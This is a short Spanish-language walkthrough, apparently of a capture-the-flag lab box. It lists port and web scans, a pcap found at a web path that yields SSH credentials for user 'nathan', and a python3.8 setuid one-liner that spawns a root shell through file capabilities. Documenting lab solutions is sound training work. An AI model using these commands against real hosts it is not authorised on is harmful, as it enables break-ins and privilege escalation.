nmap -A -p- -oA captain 10.129.183.97 --min-rate=10000 --script=vuln --script-timeout=15 -v

nmap -sC -sV -O -p- -oA captain 10.129.183.97

nmap -sU -O -p- -oA captain-udp 10.129.183.97

nikto -h 10.129.183.92:80

gobuster dir -k -u http://10.129.183.97/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100

De los puertos que se encuentran despues de escanear la ip vemos que ftp es uno de ellos.

ftp 10.129.183.97

nc -nv 10.129.183.97 22

Parece que el puerto 21-22 no es una buena opcion para empezar.

Vamos a http://10.129.183.97 Vemos que Nathan es un usuario

Vemos el resultado http://10.129.183.97/ip

http://10.129.183.97/netstat

http://10.129.183.97/data/0

Bajamos el pcap y lo vemos en wireshark

ssh nathan@10.129.183.97

Con las credenciales que se encontro en el pcap

getcap -r / 2>/dev/null

python3.8 -c 'import os; os.setuid(0); os.system("/bin/sh")'